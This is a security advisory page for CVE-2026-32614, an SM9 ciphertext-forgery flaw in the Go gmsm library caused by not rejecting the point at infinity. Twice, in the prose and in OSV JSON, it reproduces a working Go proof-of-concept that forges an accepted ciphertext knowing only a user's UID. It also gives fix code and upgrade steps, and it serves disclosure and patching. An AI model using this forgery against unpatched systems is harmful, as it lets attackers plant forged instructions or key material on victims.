CVE-2026-32614: Github.com/emmansun/gmsm SM9 Infinity-Point Ciphertext Forgery Vulnerability Vulnerability

CRITICAL
Advisory Identifier: GHSA-5xxp-2vrj-x855
CVSS 7.5
CWE-20 CWE-347
Published
Advisory Summary

CVE-2026-32614 is a CRITICAL (CVSS 7.5) sm9 infinity-point ciphertext forgery vulnerability vulnerability (CWE-20: Improper Input Validation) affecting Github.com/emmansun/gmsm libraries in the Go ecosystem. The issue involves sm9 infinity-point ciphertext forgery vulnerability. Remediation is available by upgrading affected packages to version 0.41.1.

CVE-2026-32614 at a Glance

CVE Identifier CVE-2026-32614
GHSA Identifier GHSA-5xxp-2vrj-x855
Severity CRITICAL
CVSS v3.1 Base Score 7.5
CWE Classification CWE-20: Improper Input Validation
Affected Product Github.com/emmansun/gmsm
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-32614

To remediate this vulnerability, upgrade all affected Github.com/emmansun/gmsm dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/emmansun/gmsm fixed: 0.41.1
Upgrade github.com/emmansun/gmsm to 0.41.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/emmansun/gmsm

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-32614, inspect your project dependencies for Github.com/emmansun/gmsm:

inspect dependencies for github.com/emmansun/gmsm

Analyze the terminal output to locate any version of Github.com/emmansun/gmsm in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.41.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Github.com/emmansun/gmsm, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Overview The current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity. In the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check. ## Impact The direct impact of this vulnerability is ciphertext forgery, not confidentiality loss. - The attacker does not need the master public key, the user's private key, or any other secret material. - The attacker only needs to know the target UID to construct a seemingly valid ciphertext. - When the recipient invokes the SM9 decryption API, the forged ciphertext decrypts successfully to attacker-chosen plaintext. - The C3 integrity check also passes, so this is not merely a format bypass, but a full forgery. This issue affects the following paths because they all eventually enter the same `UnwrapKey` logic: - `sm9.Decrypt` - `sm9.DecryptASN1` - `sm9.UnwrapKey` This means the issue affects not only public-key encryption/decryption, but also key encapsulation/decapsulation. ## Severity This vulnerability should be rated as High. Using CVSS 3.1 as a reference, it can be characterized as follows: - Attack vector: Network - Attack complexity: Low - Privileges required: None - User interaction: None - Confidentiality impact: Low or None - Integrity impact: High - Availability impact: None Overall, the estimated score falls in the High range, approximately 7.5. It is High rather than Critical for the following reasons: - It does not directly expose private keys and cannot directly decrypt legitimately generated ciphertexts. - However, it can reliably break the authenticity and integrity assumptions of decrypted data. - In any system that assumes only a legitimate sender can produce ciphertext that decrypts successfully, this is already a serious security failure. ## Typical Risk Scenarios - An attacker forges a business message that can be successfully decrypted by the target user. - The application mistakenly treats successful decryption as evidence that the message came from a legitimate encrypting party. - The attacker tricks the recipient into accepting forged instructions, forged notifications, or forged key material. If a system treats SM9 ciphertext as both confidential and trustworthy in origin, this vulnerability directly breaks that trust assumption. ## Root Cause The root cause is that the implementation does not fully enforce the standard's decryption requirements: C1 must belong to the correct group, and C1 must not be the point at infinity. It is important to be precise here: the point at infinity is itself a valid element of the elliptic-curve group and is mathematically on-curve. That is not the problem. The problem is not that the implementation incorrectly accepts the point at infinity as an on-curve point. Rather, the SM9 decryption procedure must do more than check that C1 is well-formed and on the curve; it must also explicitly reject C1 when it equals the group identity element O. The current code only checks: - Whether C1 can be successfully deserialized - Whether C1 is on the curve But it is missing: - `C1 != O` (the point at infinity) In other words, the issue is not that the on-curve check is wrong, but that the implementation omits the additional rejection of the group identity element. That omission is what makes the attack possible. ## Vulnerability recurrence The overall process is as follows: 1. XOR the target plaintext with `key[:len(plaintext)]` to obtain `C2`. 2. Calculate `C3 = SM3(C2 || key[len(plaintext):])`, which involves concatenating `C2` with the latter part of the key and then computing the SM3 hash. 3. Construct the ciphertext as `ciphertext = C1 || C3 || C2`, which means concatenating `C1`, `C3`, and `C2` to form the final ciphertext. 4. Call `sm9.Decrypt(userKey, uid, ciphertext, sm9.DefaultEncrypterOpts)` for decryption. 7. Note that the PoC code did not use `userKey` when constructing the ciphertext. Therefore, if the decryption is successful and the target plaintext is obtained, it proves that the attack was successful. ```go package sm9_test import ( "bytes" "crypto/rand" "testing" "github.com/emmansun/gmsm/internal/sm9/bn256" "github.com/emmansun/gmsm/sm3" "github.com/emmansun/gmsm/sm9" ) func TestInfinityPointCiphertextForgeryPublicAPI(t *testing.T) { masterKey, err := sm9.GenerateEncryptMasterKey(rand.Reader) if err != nil { t.Fatal(err) } hid := byte(0x01) uid := []byte("victim@example.com") userKey, err := masterKey.GenerateUserKey(uid, hid) if err != nil { t.Fatal(err) } plaintext := []byte("forged-without-public-encryption") c1 := make([]byte, 64) gtIdentity := new(bn256.GT).SetOne() var kdfInput []byte kdfInput = append(kdfInput, c1...) kdfInput = append(kdfInput, gtIdentity.Marshal()...) kdfInput = append(kdfInput, uid...) key1Len := len(plaintext) forgeKey := sm3.Kdf(kdfInput, key1Len+sm3.Size) c2 := make([]byte, key1Len) for i := range c2 { c2[i] = plaintext[i] ^ forgeKey[i] } hash := sm3.New() hash.Write(c2) hash.Write(forgeKey[key1Len:]) c3 := hash.Sum(nil) forgedCiphertext := make([]byte, 0, 64+32+key1Len) forgedCiphertext = append(forgedCiphertext, c1...) forgedCiphertext = append(forgedCiphertext, c3...) forgedCiphertext = append(forgedCiphertext, c2...) recovered, err := sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts) if err != nil { t.Fatalf("public Decrypt rejected forged ciphertext: %v", err) } if !bytes.Equal(recovered, plaintext) { t.Fatalf("plaintext mismatch: got %q, want %q", string(recovered), string(plaintext)) } t.Logf("VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=%q", string(recovered)) } ``` *Output*: VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered="forged-without-public-encryption" ## Remediation In the shared `UnwrapKey` path used by both SM9 decryption and decapsulation, add an explicit rejection of the point at infinity after `Unmarshal` and `IsOnCurve` succeed. Conceptually: ```go if p.IsInfinity() { return nil, ErrDecryption } ``` After the fix, unit tests should be added to ensure that: - An all-zero C1 is rejected - The raw ciphertext path rejects the forged input - The ASN.1 ciphertext path rejects the forged input - `UnwrapKey` also rejects the forged input

CVE-2026-32614 Affected Github.com/emmansun/gmsm Versions

1 component(s)
Fixed Versions:
0.41.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/emmansun/gmsm
Go
< 0.41.1
0.41.1

References

Frequently Asked Questions

What is CVE-2026-32614?
CVE-2026-32614 is a security vulnerability in Github.com/emmansun/gmsm involving SM9 Infinity-Point Ciphertext Forgery Vulnerability under CWE-20: Improper Input Validation.
Which Github.com/emmansun/gmsm versions are affected?
Affected versions include releases prior to 0.41.1 across affected packages: github.com/emmansun/gmsm.
What version fixes CVE-2026-32614?
Upgrading to 0.41.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/emmansun/gmsm affected?
Yes, github.com/emmansun/gmsm is affected in releases prior to 0.41.1. Upgrade your dependency to 0.41.1 or later.
What is the CVSS score of CVE-2026-32614?
CVE-2026-32614 has a CVSS v3.1 base score of 7.5 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-32614?
CVE-2026-32614 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check Go dependencies for CVE-2026-32614?
Run the dependency tree command: 'inspect dependencies for github.com/emmansun/gmsm'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5xxp-2vrj-x855",
  "modified" : "2026-03-16T16:37:09Z",
  "published" : "2026-03-13T16:10:12Z",
  "aliases" : [ "CVE-2026-32614" ],
  "summary" : "SM9 Infinity-Point Ciphertext Forgery Vulnerability",
  "details" : "## Overview\n\nThe current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity.\n\nIn the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check.\n\n## Impact\n\nThe direct impact of this vulnerability is ciphertext forgery, not confidentiality loss.\n\n- The attacker does not need the master public key, the user's private key, or any other secret material.\n- The attacker only needs to know the target UID to construct a seemingly valid ciphertext.\n- When the recipient invokes the SM9 decryption API, the forged ciphertext decrypts successfully to attacker-chosen plaintext.\n- The C3 integrity check also passes, so this is not merely a format bypass, but a full forgery.\n\nThis issue affects the following paths because they all eventually enter the same `UnwrapKey` logic:\n\n- `sm9.Decrypt`\n- `sm9.DecryptASN1`\n- `sm9.UnwrapKey`\n\nThis means the issue affects not only public-key encryption/decryption, but also key encapsulation/decapsulation.\n\n## Severity\n\nThis vulnerability should be rated as High.\n\nUsing CVSS 3.1 as a reference, it can be characterized as follows:\n\n- Attack vector: Network\n- Attack complexity: Low\n- Privileges required: None\n- User interaction: None\n- Confidentiality impact: Low or None\n- Integrity impact: High\n- Availability impact: None\n\nOverall, the estimated score falls in the High range, approximately 7.5.\n\nIt is High rather than Critical for the following reasons:\n\n- It does not directly expose private keys and cannot directly decrypt legitimately generated ciphertexts.\n- However, it can reliably break the authenticity and integrity assumptions of decrypted data.\n- In any system that assumes only a legitimate sender can produce ciphertext that decrypts successfully, this is already a serious security failure.\n\n## Typical Risk Scenarios\n\n- An attacker forges a business message that can be successfully decrypted by the target user.\n- The application mistakenly treats successful decryption as evidence that the message came from a legitimate encrypting party.\n- The attacker tricks the recipient into accepting forged instructions, forged notifications, or forged key material.\n\nIf a system treats SM9 ciphertext as both confidential and trustworthy in origin, this vulnerability directly breaks that trust assumption.\n\n## Root Cause\n\nThe root cause is that the implementation does not fully enforce the standard's decryption requirements: C1 must belong to the correct group, and C1 must not be the point at infinity.\n\nIt is important to be precise here: the point at infinity is itself a valid element of the elliptic-curve group and is mathematically on-curve. That is not the problem. The problem is not that the implementation incorrectly accepts the point at infinity as an on-curve point. Rather, the SM9 decryption procedure must do more than check that C1 is well-formed and on the curve; it must also explicitly reject C1 when it equals the group identity element O.\n\nThe current code only checks:\n\n- Whether C1 can be successfully deserialized\n- Whether C1 is on the curve\n\nBut it is missing:\n\n- `C1 != O` (the point at infinity)\n\nIn other words, the issue is not that the on-curve check is wrong, but that the implementation omits the additional rejection of the group identity element. That omission is what makes the attack possible.\n\n## Vulnerability recurrence\n\nThe overall process is as follows:\n1. XOR the target plaintext with `key[:len(plaintext)]` to obtain `C2`.\n2. Calculate `C3 = SM3(C2 || key[len(plaintext):])`, which involves concatenating `C2` with the latter part of the key and then computing the SM3 hash.\n3. Construct the ciphertext as `ciphertext = C1 || C3 || C2`, which means concatenating `C1`, `C3`, and `C2` to form the final ciphertext.\n4. Call `sm9.Decrypt(userKey, uid, ciphertext, sm9.DefaultEncrypterOpts)` for decryption.\n7. Note that the PoC code did not use `userKey` when constructing the ciphertext. Therefore, if the decryption is successful and the target plaintext is obtained, it proves that the attack was successful.\n\n```go\npackage sm9_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"testing\"\n\n\t\"github.com/emmansun/gmsm/internal/sm9/bn256\"\n\t\"github.com/emmansun/gmsm/sm3\"\n\t\"github.com/emmansun/gmsm/sm9\"\n)\n\nfunc TestInfinityPointCiphertextForgeryPublicAPI(t *testing.T) {\n\tmasterKey, err := sm9.GenerateEncryptMasterKey(rand.Reader)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\thid := byte(0x01)\n\tuid := []byte(\"victim@example.com\")\n\n\tuserKey, err := masterKey.GenerateUserKey(uid, hid)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tplaintext := []byte(\"forged-without-public-encryption\")\n\n\tc1 := make([]byte, 64)\n\tgtIdentity := new(bn256.GT).SetOne()\n\n\tvar kdfInput []byte\n\tkdfInput = append(kdfInput, c1...)\n\tkdfInput = append(kdfInput, gtIdentity.Marshal()...)\n\tkdfInput = append(kdfInput, uid...)\n\n\tkey1Len := len(plaintext)\n\tforgeKey := sm3.Kdf(kdfInput, key1Len+sm3.Size)\n\n\tc2 := make([]byte, key1Len)\n\tfor i := range c2 {\n\t\tc2[i] = plaintext[i] ^ forgeKey[i]\n\t}\n\n\thash := sm3.New()\n\thash.Write(c2)\n\thash.Write(forgeKey[key1Len:])\n\tc3 := hash.Sum(nil)\n\n\tforgedCiphertext := make([]byte, 0, 64+32+key1Len)\n\tforgedCiphertext = append(forgedCiphertext, c1...)\n\tforgedCiphertext = append(forgedCiphertext, c3...)\n\tforgedCiphertext = append(forgedCiphertext, c2...)\n\n\trecovered, err := sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts)\n\tif err != nil {\n\t\tt.Fatalf(\"public Decrypt rejected forged ciphertext: %v\", err)\n\t}\n\n\tif !bytes.Equal(recovered, plaintext) {\n\t\tt.Fatalf(\"plaintext mismatch: got %q, want %q\", string(recovered), string(plaintext))\n\t}\n\n\tt.Logf(\"VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=%q\", string(recovered))\n}\n```\n\n*Output*: VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=\"forged-without-public-encryption\"\n\n\n## Remediation\n\nIn the shared `UnwrapKey` path used by both SM9 decryption and decapsulation, add an explicit rejection of the point at infinity after `Unmarshal` and `IsOnCurve` succeed.\n\nConceptually:\n\n```go\nif p.IsInfinity() {\n    return nil, ErrDecryption\n}\n```\n\nAfter the fix, unit tests should be added to ensure that:\n\n- An all-zero C1 is rejected\n- The raw ciphertext path rejects the forged input\n- The ASN.1 ciphertext path rejects the forged input\n- `UnwrapKey` also rejects the forged input",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/emmansun/gmsm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.41.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/emmansun/gmsm/security/advisories/GHSA-5xxp-2vrj-x855"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32614"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/emmansun/gmsm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/emmansun/gmsm/releases/tag/v0.41.1"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2026-4694"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-347" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-13T16:10:12Z",
    "nvd_published_at" : "2026-03-16T14:19:39Z"
  }
}